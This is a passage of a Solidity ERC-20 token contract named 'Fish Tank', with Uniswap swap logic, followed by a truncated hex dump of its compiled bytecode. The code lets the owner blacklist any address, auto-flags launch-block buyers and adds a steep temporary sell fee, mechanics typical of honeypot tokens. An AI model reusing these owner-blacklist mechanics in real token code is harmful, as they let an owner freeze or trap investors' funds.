event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient == tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (12 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 1.5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (30 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (24 hours)) {
fee += 17;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 10000000000 * 10**9; // 1%
_maxHeldTokens = 15000000000 * 10**9; // 1.5%
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee, "Not higher than orignal rate.");
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb6146106a7578063dcb0e0ad146106d2578063dd62ed3e146106fb578063e8078d9414610738576101ee565b8063a9059cbb14610613578063b515566a14610650578063c3c8cd8014610679578063c9567bf914610690576101ee565b806373f54a11116100d157806373f54a11146105695780638da5cb5b1461059257806394b8d8f2146105bd57806395d89b41146105e8576101ee565b8063590f897e146104d35780636fc3eaec146104fe57806370a0823114610515578063715018a614610552576101ee565b806327f3a72a1161017a5780633bbac579116101495780633bbac5791461041757806340b9a54b1461045457806345596e2e1461047f57806349bd5a5e146104a8576101ee565b806327f3a72a1461036d578063313ce5671461039857806331c2d847146103c357806332d873d8146103ec576101ee565b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102da5780631940d0201461030557806323b872dd14610330576101ee565b80630492f055146101f357806306fdde031461021e578063095ea7b3146102495780630b78f9c014610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612c6e565b60405180910390f35b34801561022a57600080fd5b50610233610755565b6040516102409190612d22565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612de2565b61078e565b60405161027d9190612e3d565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612e58565b6107ac565b005b3480156102bb57600080fd5b506102c46108c5565b6040516102d19190612eb9565b60405180910390f35b3480156102e657600080fd5b506102ef6108eb565b6040516102fc9190612c6e565b60405180910390f35b34801561031157600080fd5b5061031a6108fc565b6040516103279190612c6e565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612ed4565b610902565b6040516103649190612e3d565b60405180910390f35b34801561037957600080fd5b50610382610b12565b60405161038f9190612c6e565b60405180910390f35b3480156103a457600080fd5b506103ad610b22565b6040516103ba9190612f43565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e591906130a6565b610b27565b005b3480156103f857600080fd5b50610401610c1d565b60405161040e9190612c6e565b60405180910390f35b34801561042357600080fd5b5061043e600480360381019061043991906130ef565b610c23565b60405161044b9190612e3d565b60405180910390f35b34801561046057600080fd5b50610469610c79565b6040516104769190612c6e565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a1919061311c565b610c7f565b005b3480156104b457600080fd5b506104bd610d66565b6040516104ca9190613158565b60405180910390f35b3480156104df57600080fd5b506104e8610d8c565b6040516104f59190612c6e565b60405180910390f35b34801561050a57600080fd5b50610513610d92565b005b34801561052157600080fd5b5061053c600480360381019061053791906130ef565b610e04565b6040516105499190612c6e565b60405180910390f35b34801561055e57600080fd5b50610567610e4d565b005b34801561057557600080fd5b50610590600480360381019061058b91906130ef565b610fa0565b005b34801561059e57600080fd5b506105a761109e565b6040516105b49190613158565b60405180910390f35b3480156105c957600080fd5b506105d26110c7565b6040516105df9190612e3d565b60405180910390f35b3480156105f457600080fd5b506105fd6110da565b60405161060a9190612d22565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612de2565b611113565b6040516106479190612e3d565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906130a6565b611131565b005b34801561068557600080fd5b5061068e611341565b005b34801561069c57600080fd5b506106a56113bb565b005b3480156106b357600080fd5b506106bc6114e2565b6040516106c99190612c6e565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f4919061319f565b611514565b005b34801561070757600080fd5b50610722600480360381019061071d91906131cc565b6115d8565b60405161072f9190612c6e565b60405180910390f35b34801561074457600080fd5b5061074d61165f565b005b600d5481565b6040518060400160405280600981526020017f466973682054616e6b000000000000000000000000000000000000000000000081525081565b60006107a261079b611b10565b8484611b18565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611b10565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600d8210801561081d5750600d81105b801561082a5750600a5482105b80156108375750600b5481105b610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d90613258565b60405180910390fd5b81600a8190555080600b819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600a54600b546040516108b9929190613278565b60405180910390a15050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600e5481565b6000601060009054906101000a900460ff16801561096a5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156109c35750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610a56573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a55576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b610a61848484611ce3565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610aad611b10565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610af291906132d0565b9050610b0685610b00611b10565b83611b18565b60019150509392505050565b6000610b1d30610e04565b905090565b600981565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b68611b10565b73ffffffffffffffffffffffffffffffffffffffff1614610b8857600080fd5b60005b8151811015610c1957600060056000848481518110610bad57610bac613304565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c1190613333565b915050610b8b565b5050565b600f5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cc0611b10565b73ffffffffffffffffffffffffffffffffffffffff1614610ce057600080fd5b60008111610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906133c8565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c54604051610d5b9190612c6e565b60405180910390a150565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd3611b10565b73ffffffffffffffffffffffffffffffffffffffff1614610df357600080fd5b6000479050610e0181612686565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e55611b10565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990613434565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe1611b10565b73ffffffffffffffffffffffffffffffffffffffff161461100157600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161109391906134b3565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601060029054906101000a900460ff1681565b6040518060400160405280600581526020017f464953485400000000000000000000000000000000000000000000000000000081525081565b6000611127611120611b10565b8484611ce3565b6001905092915050565b611139611b10565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90613434565b60405180910390fd5b60005b815181101561133d57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061121e5761121d613304565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156112b25750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061129157611290613304565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561132a576001600560008484815181106112d0576112cf613304565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061133590613333565b9150506111c9565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611382611b10565b73ffffffffffffffffffffffffffffffffffffffff16146113a257600080fd5b60006113ad30610e04565b90506113b8816126f2565b50565b6113c3611b10565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144790613434565b60405180910390fd5b601060009054906101000a900460ff16156114a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114979061351a565b60405180910390fd5b6001601060006101000a81548160ff02191690831515021790555042600f81905550678ac7230489e80000600d8190555067d02ab486cedc0000600e81905550565b600061150f600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e04565b905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611555611b10565b73ffffffffffffffffffffffffffffffffffffffff161461157557600080fd5b80601060026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601060029054906101000a900460ff166040516115cd9190612e3d565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611667611b10565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb90613434565b60405180910390fd5b601060009054906101000a900460ff1615611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b9061351a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117d430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611b18565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561181f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611843919061354f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ce919061354f565b6040518363ffffffff1660e01b81526004016118eb92919061357c565b6020604051808303816000875af115801561190a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192e919061354f565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306119b730610e04565b6000806119c261109e565b426040518863ffffffff1660e01b81526004016119e4969594939291906135e0565b60606040518083038185885af1158015611a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a279190613656565b505050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611ac99291906136a9565b6020604051808303816000875af1158015611ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0c91906136e7565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7f90613786565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bef90613818565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cd69190612c6e565b60405180910390a3505050565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d875750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ddd5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611de657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4d906138aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebd9061393c565b60405180910390fd5b60008111611f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f00906139ce565b60405180910390fd5b6000611f1361109e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f815750611f5161109e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125c157600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120315750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120875750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123c157601060009054906101000a900460ff166120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290613a3a565b60405180910390fd5b600f5442141561213e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b4261a8c0600f5461214f9190613a5a565b11156121ae57600e5461216184610e04565b8361216c9190613a5a565b11156121ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a490613b22565b60405180910390fd5b5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff166122885760405180604001604052806000815260200160011515815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548160ff0219169083151502179055509050505b42610708600f546122999190613a5a565b111561237557600d548211156122e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122db90613b8e565b60405180910390fd5b601e426122f19190613a5a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410612374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b90613c20565b60405180910390fd5b5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600190505b601060019054906101000a900460ff161580156123ea5750601060009054906101000a900460ff165b80156124445750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156125c057600f426124569190613a5a565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106124d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d090613cb2565b60405180910390fd5b60006124e430610e04565b905060008111156125a157601060029054906101000a900460ff1615612597576064600c54612534600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e04565b61253e9190613cd2565b6125489190613d5b565b811115612596576064600c5461257f600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e04565b6125899190613cd2565b6125939190613d5b565b90505b5b6125a0816126f2565b5b600047905060008111156125b9576125b847612686565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126685750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561267257600090505b61267f858585848661296b565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156126ee573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272a57612729612f63565b5b6040519080825280602002602001820160405280156127585781602001602082028036833780820191505090505b50905030816000815181106127705761276f613304565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612817573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061283b919061354f565b8160018151811061284f5761284e613304565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b18565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161291a959493929190613e4a565b600060405180830381600087803b15801561293457600080fd5b505af1158015612948573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6000612977838361298d565b9050612985868686846129e3565b505050505050565b6000806000905083156129d95782156129aa57600a5490506129d8565b600b54905062015180600f546129c09190613a5a565b4210156129d7576011816129d49190613a5a565b90505b5b5b8091505092915050565b6000806129f08484612b86565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3f91906132d0565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612acd9190613a5a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1981612bc4565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b769190612c6e565b60405180910390a3505050505050565b600080600060648486612b999190613cd2565b612ba39190613d5b565b905060008186612bb391906132d0565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0f9190613a5a565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612c6881612c55565b82525050565b6000602082019050612c836000830184612c5f565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612cc3578082015181840152602081019050612ca8565b83811115612cd2576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cf482612c89565b612cfe8185612c94565b9350612d0e818560208601612ca5565b612d1781612cd8565b840191505092915050565b60006020820190508181036000830152612d3c8184612ce9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d8382612d58565b9050919050565b612d9381612d78565b8114612d9e57600080fd5b50565b600081359050612db081612d8a565b92915050565b612dbf81612c55565b8114612dca57600080fd5b50565b600081359050612ddc81612db6565b92915050565b60008060408385031215612df957612df8612d4e565b5b6000612e0785828601612da1565b9250506020612e1885828601612dcd565b9150509250929050565b60008115159050919050565b612e3781612e22565b82525050565b6000602082019050612e526000830184612e2e565b92915050565b60008060408385031215612e6f57612e6e612d4e565b5b6000612e7d85828601612dcd565b9250506020612e8e85828601612dcd565b9150509250929050565b6000612ea382612d58565b9050919050565b612eb381612e98565b82525050565b6000602082019050612ece6000830184612eaa565b92915050565b600080600060608486031215612eed57612eec612d4e565b5b6000612efb86828701612da1565b9350506020612f0c86828701612da1565b9250506040612f1d86828701612dcd565b9150509250925092565b600060ff82169050919050565b612f3d81612f27565b82525050565b6000602082019050612f586000830184612f34565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f9b82612cd8565b810181811067ffffffffffffffff82111715612fba57612fb9612f63565b5b80604052505050565b6000612fcd612d44565b9050612fd98282612f92565b919050565b600067ffffffffffffffff821115612ff957612ff8612f63565b5b602082029050602081019050919050565b600080fd5b600061302261301d84612fde565b612fc3565b905080838252602082019050602084028301858111156130455761304461300a565b5b835b8181101561306e578061305a8882612da1565b845260208401935050602081019050613047565b5050509392505050565b600082601f83011261308d5761308c612f5e565b5b813561309d84826020860161300f565b91505092915050565b6000602082840312156130bc576130bb612d4e565b5b600082013567ffffffffffffffff8111156130da576130d9612d53565b5b6130e684828501613078565